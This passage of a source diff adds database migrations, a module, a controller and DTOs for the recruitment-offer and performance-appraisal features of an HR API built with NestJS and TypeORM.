"offered_basic_salary" numeric(14,2) NOT NULL,
|
||||
"salary_structure_id" uuid,
|
||||
"employment_type" varchar(16) NOT NULL DEFAULT 'PERMANENT',
|
||||
"proposed_start_date" date NOT NULL,
|
||||
"probation_end_date" date,
|
||||
"expires_on" date,
|
||||
"status" varchar(16) NOT NULL DEFAULT 'DRAFT',
|
||||
"decline_reason" varchar(256),
|
||||
"responded_on" date,
|
||||
"hired_employee_id" uuid,
|
||||
"notes" varchar(1024),
|
||||
"created_by" uuid,
|
||||
"updated_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "fk_job_offers_application"
|
||||
FOREIGN KEY ("application_id") REFERENCES "hr"."applications" ("id"),
|
||||
CONSTRAINT "fk_job_offers_structure"
|
||||
FOREIGN KEY ("salary_structure_id")
|
||||
REFERENCES "hr"."salary_structures" ("id"),
|
||||
CONSTRAINT "ck_job_offers_status"
|
||||
CHECK ("status" IN
|
||||
('DRAFT','SENT','ACCEPTED','DECLINED','WITHDRAWN','EXPIRED')),
|
||||
CONSTRAINT "ck_job_offers_salary" CHECK ("offered_basic_salary" > 0),
|
||||
CONSTRAINT "ck_job_offers_probation"
|
||||
CHECK ("probation_end_date" IS NULL
|
||||
OR "probation_end_date" >= "proposed_start_date"),
|
||||
-- An accepted offer must record who it turned into, or the link between
|
||||
-- recruitment and the employee record is lost.
|
||||
CONSTRAINT "ck_job_offers_declined"
|
||||
CHECK ("status" <> 'DECLINED' OR "decline_reason" IS NOT NULL)
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_job_offers_application"
|
||||
ON "hr"."job_offers" ("application_id")
|
||||
`);
|
||||
// One live offer per application. Two outstanding offers to one candidate
|
||||
// is how somebody ends up hired on the wrong terms.
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_job_offers_live"
|
||||
ON "hr"."job_offers" ("application_id")
|
||||
WHERE "status" IN ('DRAFT','SENT') AND "deleted_at" IS NULL
|
||||
`);
|
||||
}
|
||||
|
||||
public async down(queryRunner: QueryRunner): Promise<void> {
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."job_offers"`);
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."interviews"`);
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."applications"`);
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."applicants"`);
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."job_openings"`);
|
||||
}
|
||||
}
|
||||
227
apps/edr-hr-api/src/migrations/3600000000012-HrAppraisal.ts
Normal file
227
apps/edr-hr-api/src/migrations/3600000000012-HrAppraisal.ts
Normal file
@@ -0,0 +1,227 @@
|
||||
import { MigrationInterface, QueryRunner } from "typeorm";
|
||||
|
||||
/**
|
||||
* Performance appraisal — Module 3.6.
|
||||
*
|
||||
* - `appraisal_templates` the form: how it is scored and what the bands mean.
|
||||
* - `appraisal_criteria` what is assessed, each with a weight. Weights must
|
||||
* total 100 — enforced in the service, because a form
|
||||
* whose weights sum to 87 produces scores that cannot
|
||||
* be compared with anything.
|
||||
* - `appraisal_cycles` a period everyone is appraised for. The template is
|
||||
* COPIED into each appraisal when it opens, so editing
|
||||
* a template later cannot restate a completed review.
|
||||
* - `appraisals` one per employee per cycle, moving through self
|
||||
* assessment, manager assessment, acknowledgement.
|
||||
* - `appraisal_ratings` a score per criterion, self and manager side by side.
|
||||
* - `appraisal_goals` objectives agreed at the start and rated at the end.
|
||||
*
|
||||
* Scores are `numeric(6,2)`. Percentages are stored as 0–100, weights the same,
|
||||
* so a reader never has to guess whether 0.85 means 85% or 0.85%.
|
||||
*/
|
||||
export class HrAppraisal3600000000012 implements MigrationInterface {
|
||||
name = "HrAppraisal3600000000012";
|
||||
|
||||
public async up(queryRunner: QueryRunner): Promise<void> {
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."appraisal_templates" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid NOT NULL,
|
||||
"code" varchar(32) NOT NULL,
|
||||
"name" jsonb NOT NULL,
|
||||
"description" jsonb,
|
||||
"max_score" numeric(6,2) NOT NULL DEFAULT 5,
|
||||
"rating_bands" jsonb NOT NULL DEFAULT '[]'::jsonb,
|
||||
"requires_self_assessment" boolean NOT NULL DEFAULT true,
|
||||
"requires_acknowledgement" boolean NOT NULL DEFAULT true,
|
||||
"is_active" boolean NOT NULL DEFAULT true,
|
||||
"created_by" uuid,
|
||||
"updated_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "ck_appraisal_templates_max_score" CHECK ("max_score" > 0)
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_appraisal_templates_org_code"
|
||||
ON "hr"."appraisal_templates" ("organization_id", "code")
|
||||
WHERE "deleted_at" IS NULL
|
||||
`);
|
||||
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."appraisal_criteria" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"template_id" uuid NOT NULL,
|
||||
"code" varchar(32) NOT NULL,
|
||||
"name" jsonb NOT NULL,
|
||||
"description" jsonb,
|
||||
"category" varchar(32),
|
||||
"weight" numeric(6,2) NOT NULL,
|
||||
"sort_order" smallint NOT NULL DEFAULT 100,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
CONSTRAINT "fk_appraisal_criteria_template"
|
||||
FOREIGN KEY ("template_id")
|
||||
REFERENCES "hr"."appraisal_templates" ("id") ON DELETE CASCADE,
|
||||
CONSTRAINT "ck_appraisal_criteria_weight"
|
||||
CHECK ("weight" > 0 AND "weight" <= 100)
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_appraisal_criteria_template_code"
|
||||
ON "hr"."appraisal_criteria" ("template_id", "code")
|
||||
`);
|
||||
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."appraisal_cycles" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid NOT NULL,
|
||||
"code" varchar(32) NOT NULL,
|
||||
"name" jsonb NOT NULL,
|
||||
"template_id" uuid NOT NULL,
|
||||
"period_start" date NOT NULL,
|
||||
"period_end" date NOT NULL,
|
||||
"self_due_on" date,
|
||||
"manager_due_on" date,
|
||||
"status" varchar(16) NOT NULL DEFAULT 'DRAFT',
|
||||
"created_by" uuid,
|
||||
"updated_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "fk_appraisal_cycles_template"
|
||||
FOREIGN KEY ("template_id") REFERENCES "hr"."appraisal_templates" ("id"),
|
||||
CONSTRAINT "ck_appraisal_cycles_status"
|
||||
CHECK ("status" IN ('DRAFT','OPEN','CLOSED','CANCELLED')),
|
||||
CONSTRAINT "ck_appraisal_cycles_period"
|
||||
CHECK ("period_end" > "period_start")
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_appraisal_cycles_org_code"
|
||||
ON "hr"."appraisal_cycles" ("organization_id", "code")
|
||||
WHERE "deleted_at" IS NULL
|
||||
`);
|
||||
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."appraisals" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"organization_id" uuid NOT NULL,
|
||||
"cycle_id" uuid NOT NULL,
|
||||
"employee_id" uuid NOT NULL,
|
||||
"appraiser_employee_id" uuid,
|
||||
"status" varchar(24) NOT NULL DEFAULT 'PENDING_SELF',
|
||||
"self_score" numeric(6,2),
|
||||
"manager_score" numeric(6,2),
|
||||
"final_score" numeric(6,2),
|
||||
"final_rating" varchar(32),
|
||||
"self_comment" varchar(2048),
|
||||
"manager_comment" varchar(2048),
|
||||
"employee_comment" varchar(2048),
|
||||
"self_submitted_at" timestamptz,
|
||||
"manager_submitted_at" timestamptz,
|
||||
"acknowledged_at" timestamptz,
|
||||
"created_by" uuid,
|
||||
"updated_by" uuid,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
"deleted_at" timestamptz,
|
||||
CONSTRAINT "fk_appraisals_cycle"
|
||||
FOREIGN KEY ("cycle_id")
|
||||
REFERENCES "hr"."appraisal_cycles" ("id") ON DELETE CASCADE,
|
||||
CONSTRAINT "ck_appraisals_status"
|
||||
CHECK ("status" IN
|
||||
('PENDING_SELF','PENDING_MANAGER','PENDING_ACKNOWLEDGEMENT',
|
||||
'COMPLETED','CANCELLED')),
|
||||
CONSTRAINT "ck_appraisals_scores" CHECK (
|
||||
("self_score" IS NULL OR ("self_score" >= 0 AND "self_score" <= 100))
|
||||
AND ("manager_score" IS NULL OR ("manager_score" >= 0 AND "manager_score" <= 100))
|
||||
AND ("final_score" IS NULL OR ("final_score" >= 0 AND "final_score" <= 100))
|
||||
),
|
||||
-- A completed appraisal must carry the score it concluded with.
|
||||
CONSTRAINT "ck_appraisals_completed"
|
||||
CHECK ("status" <> 'COMPLETED' OR "final_score" IS NOT NULL)
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_appraisals_cycle_employee"
|
||||
ON "hr"."appraisals" ("cycle_id", "employee_id")
|
||||
WHERE "deleted_at" IS NULL
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_appraisals_appraiser"
|
||||
ON "hr"."appraisals" ("appraiser_employee_id", "status")
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_appraisals_employee"
|
||||
ON "hr"."appraisals" ("employee_id")
|
||||
`);
|
||||
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."appraisal_ratings" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"appraisal_id" uuid NOT NULL,
|
||||
"criterion_id" uuid,
|
||||
"code" varchar(32) NOT NULL,
|
||||
"name" jsonb NOT NULL,
|
||||
"weight" numeric(6,2) NOT NULL,
|
||||
"max_score" numeric(6,2) NOT NULL,
|
||||
"self_score" numeric(6,2),
|
||||
"manager_score" numeric(6,2),
|
||||
"self_comment" varchar(1024),
|
||||
"manager_comment" varchar(1024),
|
||||
"sort_order" smallint NOT NULL DEFAULT 100,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
CONSTRAINT "fk_appraisal_ratings_appraisal"
|
||||
FOREIGN KEY ("appraisal_id")
|
||||
REFERENCES "hr"."appraisals" ("id") ON DELETE CASCADE,
|
||||
CONSTRAINT "ck_appraisal_ratings_scores" CHECK (
|
||||
("self_score" IS NULL OR ("self_score" >= 0 AND "self_score" <= "max_score"))
|
||||
AND ("manager_score" IS NULL
|
||||
OR ("manager_score" >= 0 AND "manager_score" <= "max_score"))
|
||||
)
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "uq_appraisal_ratings_appraisal_code"
|
||||
ON "hr"."appraisal_ratings" ("appraisal_id", "code")
|
||||
`);
|
||||
|
||||
await queryRunner.query(`
|
||||
CREATE TABLE IF NOT EXISTS "hr"."appraisal_goals" (
|
||||
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
"appraisal_id" uuid NOT NULL,
|
||||
"title" varchar(256) NOT NULL,
|
||||
"description" varchar(2048),
|
||||
"target" varchar(256),
|
||||
"weight" numeric(6,2),
|
||||
"achievement_percent" numeric(6,2),
|
||||
"manager_comment" varchar(1024),
|
||||
"sort_order" smallint NOT NULL DEFAULT 100,
|
||||
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"updated_at" timestamptz,
|
||||
CONSTRAINT "fk_appraisal_goals_appraisal"
|
||||
FOREIGN KEY ("appraisal_id")
|
||||
REFERENCES "hr"."appraisals" ("id") ON DELETE CASCADE,
|
||||
CONSTRAINT "ck_appraisal_goals_achievement"
|
||||
CHECK ("achievement_percent" IS NULL
|
||||
OR ("achievement_percent" >= 0 AND "achievement_percent" <= 200))
|
||||
)
|
||||
`);
|
||||
await queryRunner.query(`
|
||||
CREATE INDEX IF NOT EXISTS "idx_appraisal_goals_appraisal"
|
||||
ON "hr"."appraisal_goals" ("appraisal_id")
|
||||
`);
|
||||
}
|
||||
|
||||
public async down(queryRunner: QueryRunner): Promise<void> {
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."appraisal_goals"`);
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."appraisal_ratings"`);
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."appraisals"`);
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."appraisal_cycles"`);
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."appraisal_criteria"`);
|
||||
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."appraisal_templates"`);
|
||||
}
|
||||
}
|
||||
40
apps/edr-hr-api/src/modules/appraisal/appraisal.module.ts
Normal file
40
apps/edr-hr-api/src/modules/appraisal/appraisal.module.ts
Normal file
@@ -0,0 +1,40 @@
|
||||
import { Module } from "@nestjs/common";
|
||||
import { TypeOrmModule } from "@nestjs/typeorm";
|
||||
|
||||
import {
|
||||
Appraisal,
|
||||
AppraisalCriterion,
|
||||
AppraisalCycle,
|
||||
AppraisalGoal,
|
||||
AppraisalRating,
|
||||
AppraisalTemplate,
|
||||
} from "./entities/appraisal.entity";
|
||||
import { AppraisalService } from "./services/appraisal.service";
|
||||
import { AppraisalController } from "./controllers/appraisal.controller";
|
||||
import { EmployeesModule } from "../employees/employees.module";
|
||||
|
||||
/**
|
||||
* Module 3.6 Performance appraisal.
|
||||
*
|
||||
* Reuses the line-manager resolution built for leave: the person who approves
|
||||
* your leave is the person who appraises you, and having two answers to "who is
|
||||
* their manager" is how an organization ends up with reviews signed by the wrong
|
||||
* person.
|
||||
*/
|
||||
@Module({
|
||||
imports: [
|
||||
TypeOrmModule.forFeature([
|
||||
AppraisalTemplate,
|
||||
AppraisalCriterion,
|
||||
AppraisalCycle,
|
||||
Appraisal,
|
||||
AppraisalRating,
|
||||
AppraisalGoal,
|
||||
]),
|
||||
EmployeesModule,
|
||||
],
|
||||
controllers: [AppraisalController],
|
||||
providers: [AppraisalService],
|
||||
exports: [AppraisalService],
|
||||
})
|
||||
export class AppraisalModule {}
|
||||
@@ -0,0 +1,238 @@
|
||||
import {
|
||||
Body,
|
||||
Controller,
|
||||
Get,
|
||||
Param,
|
||||
ParseIntPipe,
|
||||
ParseUUIDPipe,
|
||||
Patch,
|
||||
Post,
|
||||
Query,
|
||||
} from "@nestjs/common";
|
||||
import {
|
||||
ApiBearerAuth,
|
||||
ApiOperation,
|
||||
ApiQuery,
|
||||
ApiResponse,
|
||||
ApiTags,
|
||||
} from "@nestjs/swagger";
|
||||
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
|
||||
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
|
||||
|
||||
import { HrStaff } from "../../../common/hr-guards";
|
||||
import { actorFrom } from "../../../common/current-actor.util";
|
||||
import { HR_PERMS } from "../../../seed/hr-permissions.registry";
|
||||
import { AppraisalService } from "../services/appraisal.service";
|
||||
import { EAppraisalStatus } from "../entities/appraisal.entity";
|
||||
import {
|
||||
AcknowledgeDto,
|
||||
CreateCycleDto,
|
||||
CreateGoalDto,
|
||||
CreateTemplateDto,
|
||||
OpenCycleDto,
|
||||
SubmitManagerDto,
|
||||
SubmitSelfDto,
|
||||
} from "../dto/appraisal.dto";
|
||||
|
||||
@ApiTags("appraisal")
|
||||
@ApiBearerAuth()
|
||||
@Controller("appraisal")
|
||||
@HrStaff([
|
||||
HR_PERMS.appraisal.manageCycle,
|
||||
HR_PERMS.appraisal.manageTemplate,
|
||||
HR_PERMS.appraisal.submitSelf,
|
||||
HR_PERMS.appraisal.submitManager,
|
||||
HR_PERMS.appraisal.viewAll,
|
||||
])
|
||||
export class AppraisalController {
|
||||
constructor(private readonly appraisal: AppraisalService) {}
|
||||
|
||||
// ── Templates ─────────────────────────────────────────────────────────────
|
||||
|
||||
@Get("templates")
|
||||
@HrStaff(HR_PERMS.appraisal.manageTemplate)
|
||||
@ApiOperation({ summary: "Appraisal forms" })
|
||||
templates(@CurrentUser() user: TCurrentUser) {
|
||||
return this.appraisal.listTemplates(actorFrom(user));
|
||||
}
|
||||
|
||||
@Post("templates")
|
||||
@HrStaff(HR_PERMS.appraisal.manageTemplate)
|
||||
@ApiOperation({
|
||||
summary: "Create an appraisal form",
|
||||
description:
|
||||
"Criterion weights must total 100 — otherwise a score cannot be read as a " +
|
||||
"percentage or compared between employees.",
|
||||
})
|
||||
@ApiResponse({ status: 400, description: "Weights do not total 100" })
|
||||
createTemplate(
|
||||
@Body() dto: CreateTemplateDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.appraisal.createTemplate(dto, actorFrom(user));
|
||||
}
|
||||
|
||||
@Get("templates/:id")
|
||||
@HrStaff(HR_PERMS.appraisal.manageTemplate)
|
||||
@ApiOperation({ summary: "One form, with its criteria" })
|
||||
template(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.appraisal.getTemplate(id, actorFrom(user));
|
||||
}
|
||||
|
||||
// ── Cycles ────────────────────────────────────────────────────────────────
|
||||
|
||||
@Get("cycles")
|
||||
@HrStaff(HR_PERMS.appraisal.submitSelf)
|
||||
@ApiOperation({ summary: "Appraisal cycles" })
|
||||
cycles(@CurrentUser() user: TCurrentUser) {
|
||||
return this.appraisal.listCycles(actorFrom(user));
|
||||
}
|
||||
|
||||
@Post("cycles")
|
||||
@HrStaff(HR_PERMS.appraisal.manageCycle)
|
||||
@ApiOperation({ summary: "Create a cycle" })
|
||||
createCycle(@Body() dto: CreateCycleDto, @CurrentUser() user: TCurrentUser) {
|
||||
return this.appraisal.createCycle(dto, actorFrom(user));
|
||||
}
|
||||
|
||||
@Post("cycles/:id/open")
|
||||
@HrStaff(HR_PERMS.appraisal.manageCycle)
|
||||
@ApiOperation({
|
||||
summary: "Open a cycle and create everyone's appraisal",
|
||||
description:
|
||||
"The form's criteria are copied onto each appraisal, so editing the " +
|
||||
"template later cannot restate a review that has been signed. Safe to " +
|
||||
"re-run: existing appraisals are left alone.",
|
||||
})
|
||||
@ApiResponse({ status: 201, description: "{ cycle, created, skipped }" })
|
||||
openCycle(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@Body() dto: OpenCycleDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.appraisal.openCycle(id, dto.employeeIds, actorFrom(user));
|
||||
}
|
||||
|
||||
@Patch("cycles/:id/close")
|
||||
@HrStaff(HR_PERMS.appraisal.manageCycle)
|
||||
@ApiOperation({ summary: "Close a cycle" })
|
||||
closeCycle(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.appraisal.closeCycle(id, actorFrom(user));
|
||||
}
|
||||
|
||||
@Get("cycles/:id/progress")
|
||||
@HrStaff(HR_PERMS.appraisal.viewAll)
|
||||
@ApiOperation({ summary: "How far a cycle has got — counts by status" })
|
||||
progress(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.appraisal.cycleProgress(id, actorFrom(user));
|
||||
}
|
||||
|
||||
// ── Appraisals ────────────────────────────────────────────────────────────
|
||||
|
||||
@Get("mine")
|
||||
@HrStaff(HR_PERMS.appraisal.submitSelf)
|
||||
@ApiOperation({ summary: "My appraisals" })
|
||||
mine(@CurrentUser() user: TCurrentUser) {
|
||||
return this.appraisal.findMine(actorFrom(user));
|
||||
}
|
||||
|
||||
@Get("awaiting-me")
|
||||
@HrStaff(HR_PERMS.appraisal.submitManager)
|
||||
@ApiOperation({ summary: "Appraisals waiting on my assessment" })
|
||||
awaitingMe(@CurrentUser() user: TCurrentUser) {
|
||||
return this.appraisal.findAwaitingMe(actorFrom(user));
|
||||
}
|
||||
|
||||
@Get()
|
||||
@HrStaff(HR_PERMS.appraisal.viewAll)
|
||||
@ApiOperation({ summary: "All appraisals" })
|
||||
@ApiQuery({ name: "cycleId", required: false })
|
||||
@ApiQuery({ name: "status", required: false, enum: EAppraisalStatus })
|
||||
findAll(
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
@Query("cycleId") cycleId?: string,
|
||||
@Query("status") status?: EAppraisalStatus,
|
||||
@Query("page", new ParseIntPipe({ optional: true })) page?: number,
|
||||
@Query("limit", new ParseIntPipe({ optional: true })) limit?: number,
|
||||
) {
|
||||
return this.appraisal.findAll({ cycleId, status, page, limit }, actorFrom(user));
|
||||
}
|
||||
|
||||
@Get(":id")
|
||||
@HrStaff(HR_PERMS.appraisal.submitSelf)
|
||||
@ApiOperation({ summary: "One appraisal, with its ratings and goals" })
|
||||
findOne(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.appraisal.findOne(id, actorFrom(user));
|
||||
}
|
||||
|
||||
@Post(":id/self")
|
||||
@HrStaff(HR_PERMS.appraisal.submitSelf)
|
||||
@ApiOperation({
|
||||
summary: "Submit my own assessment",
|
||||
description:
|
||||
"Recorded for comparison; it does not decide the outcome. Every criterion " +
|
||||
"must be scored.",
|
||||
})
|
||||
submitSelf(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@Body() dto: SubmitSelfDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.appraisal.submitSelf(id, dto, actorFrom(user));
|
||||
}
|
||||
|
||||
@Post(":id/manager")
|
||||
@HrStaff(HR_PERMS.appraisal.submitManager)
|
||||
@ApiOperation({
|
||||
summary: "Submit the manager's assessment",
|
||||
description:
|
||||
"This decides the final score — it is NOT averaged with the self " +
|
||||
"assessment, or anyone could raise their result by rating themselves " +
|
||||
"highly. Nobody may appraise themselves.",
|
||||
})
|
||||
@ApiResponse({ status: 403, description: "You cannot appraise yourself" })
|
||||
submitManager(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@Body() dto: SubmitManagerDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.appraisal.submitManager(id, dto, actorFrom(user));
|
||||
}
|
||||
|
||||
@Patch(":id/acknowledge")
|
||||
@HrStaff(HR_PERMS.appraisal.submitSelf)
|
||||
@ApiOperation({
|
||||
summary: "Acknowledge the result",
|
||||
description: "The employee's right of reply. It cannot change the score.",
|
||||
})
|
||||
acknowledge(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@Body() dto: AcknowledgeDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.appraisal.acknowledge(id, dto.comment, actorFrom(user));
|
||||
}
|
||||
|
||||
@Post(":id/goals")
|
||||
@HrStaff(HR_PERMS.appraisal.submitManager)
|
||||
@ApiOperation({ summary: "Add an objective to an appraisal" })
|
||||
addGoal(
|
||||
@Param("id", ParseUUIDPipe) id: string,
|
||||
@Body() dto: CreateGoalDto,
|
||||
@CurrentUser() user: TCurrentUser,
|
||||
) {
|
||||
return this.appraisal.addGoal(id, dto, actorFrom(user));
|
||||
}
|
||||
}
|
||||
282
apps/edr-hr-api/src/modules/appraisal/dto/appraisal.dto.ts
Normal file
282
apps/edr-hr-api/src/modules/appraisal/dto/appraisal.dto.ts
Normal file
@@ -0,0 +1,282 @@
|
||||
import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger";
|
||||
import { Type } from "class-transformer";
|
||||
import {
|
||||
IsArray,
|
||||
IsBoolean,
|
||||
IsDateString,
|
||||
IsNotEmpty,
|
||||
IsNumber,
|
||||
IsNumberString,
|
||||
IsObject,
|
||||
IsOptional,
|
||||
IsString,
|
||||
IsUUID,
|
||||
Max,
|
||||
MaxLength,
|
||||
Min,
|
||||
ValidateNested,
|
||||
} from "class-validator";
|
||||
|
||||
import { LocalizedTextDto } from "../../leave/dto/leave-type.dto";
|
||||
|
||||
export class RatingBandDto {
|
||||
@ApiProperty({ minimum: 0, maximum: 100, example: 90 })
|
||||
@IsNumber()
|
||||
@Min(0)
|
||||
@Max(100)
|
||||
min!: number;
|
||||
|
||||
@ApiProperty({ type: LocalizedTextDto })
|
||||
@IsObject()
|
||||
@ValidateNested()
|
||||
@Type(() => LocalizedTextDto)
|
||||
label!: LocalizedTextDto;
|
||||
}
|
||||
|
||||
export class CriterionDto {
|
||||
@ApiProperty({ maxLength: 32, example: "QUALITY" })
|
||||
@IsString()
|
||||
@IsNotEmpty()
|
||||
@MaxLength(32)
|
||||
code!: string;
|
||||
|
||||
@ApiProperty({ type: LocalizedTextDto })
|
||||
@IsObject()
|
||||
@ValidateNested()
|
||||
@Type(() => LocalizedTextDto)
|
||||
name!: LocalizedTextDto;
|
||||
|
||||
@ApiPropertyOptional({ type: LocalizedTextDto })
|
||||
@IsOptional()
|
||||
@IsObject()
|
||||
@ValidateNested()
|
||||
@Type(() => LocalizedTextDto)
|
||||
description?: LocalizedTextDto;
|
||||
|
||||
@ApiPropertyOptional({ maxLength: 32, example: "RESULTS" })
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(32)
|
||||
category?: string;
|
||||
|
||||
@ApiProperty({
|
||||
example: "25.00",
|
||||
description: "Percentage points. All criteria in a template must total 100.",
|
||||
})
|
||||
@IsNumberString()
|
||||
weight!: string;
|
||||
}
|
||||
|
||||
export class CreateTemplateDto {
|
||||
@ApiProperty({ maxLength: 32, example: "ANNUAL-2026" })
|
||||
@IsString()
|
||||
@IsNotEmpty()
|
||||
@MaxLength(32)
|
||||
code!: string;
|
||||
|
||||
@ApiProperty({ type: LocalizedTextDto })
|
||||
@IsObject()
|
||||
@ValidateNested()
|
||||
@Type(() => LocalizedTextDto)
|
||||
name!: LocalizedTextDto;
|
||||
|
||||
@ApiPropertyOptional({ type: LocalizedTextDto })
|
||||
@IsOptional()
|
||||
@IsObject()
|
||||
@ValidateNested()
|
||||
@Type(() => LocalizedTextDto)
|
||||
description?: LocalizedTextDto;
|
||||
|
||||
@ApiPropertyOptional({ example: "5.00", description: "Top of the per-criterion scale." })
|
||||
@IsOptional()
|
||||
@IsNumberString()
|
||||
maxScore?: string;
|
||||
|
||||
@ApiPropertyOptional({ type: [RatingBandDto] })
|
||||
@IsOptional()
|
||||
@IsArray()
|
||||
@ValidateNested({ each: true })
|
||||
@Type(() => RatingBandDto)
|
||||
ratingBands?: RatingBandDto[];
|
||||
|
||||
@ApiPropertyOptional({ default: true })
|
||||
@IsOptional()
|
||||
@IsBoolean()
|
||||
requiresSelfAssessment?: boolean;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
default: true,
|
||||
description: "Whether the employee must acknowledge the result before it closes.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsBoolean()
|
||||
requiresAcknowledgement?: boolean;
|
||||
|
||||
@ApiProperty({ type: [CriterionDto] })
|
||||
@IsArray()
|
||||
@ValidateNested({ each: true })
|
||||
@Type(() => CriterionDto)
|
||||
criteria!: CriterionDto[];
|
||||
}
|
||||
|
||||
export class CreateCycleDto {
|
||||
@ApiProperty({ maxLength: 32, example: "FY2026" })
|
||||
@IsString()
|
||||
@IsNotEmpty()
|
||||
@MaxLength(32)
|
||||
code!: string;
|
||||
|
||||
@ApiProperty({ type: LocalizedTextDto })
|
||||
@IsObject()
|
||||
@ValidateNested()
|
||||
@Type(() => LocalizedTextDto)
|
||||
name!: LocalizedTextDto;
|
||||
|
||||
@ApiProperty({ format: "uuid" })
|
||||
@IsUUID()
|
||||
templateId!: string;
|
||||
|
||||
@ApiProperty({ format: "date" })
|
||||
@IsDateString()
|
||||
periodStart!: string;
|
||||
|
||||
@ApiProperty({ format: "date" })
|
||||
@IsDateString()
|
||||
periodEnd!: string;
|
||||
|
||||
@ApiPropertyOptional({ format: "date" })
|
||||
@IsOptional()
|
||||
@IsDateString()
|
||||
selfDueOn?: string;
|
||||
|
||||
@ApiPropertyOptional({ format: "date" })
|
||||
@IsOptional()
|
||||
@IsDateString()
|
||||
managerDueOn?: string;
|
||||
}
|
||||
|
||||
export class OpenCycleDto {
|
||||
@ApiPropertyOptional({
|
||||
type: [String],
|
||||
format: "uuid",
|
||||
description:
|
||||
"Who to appraise. Omit for everyone employed in the organization with an " +
|
||||
"HR profile — terminated and retired staff are excluded either way.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsArray()
|
||||
@IsUUID(undefined, { each: true })
|
||||
employeeIds?: string[];
|
||||
}
|
||||
|
||||
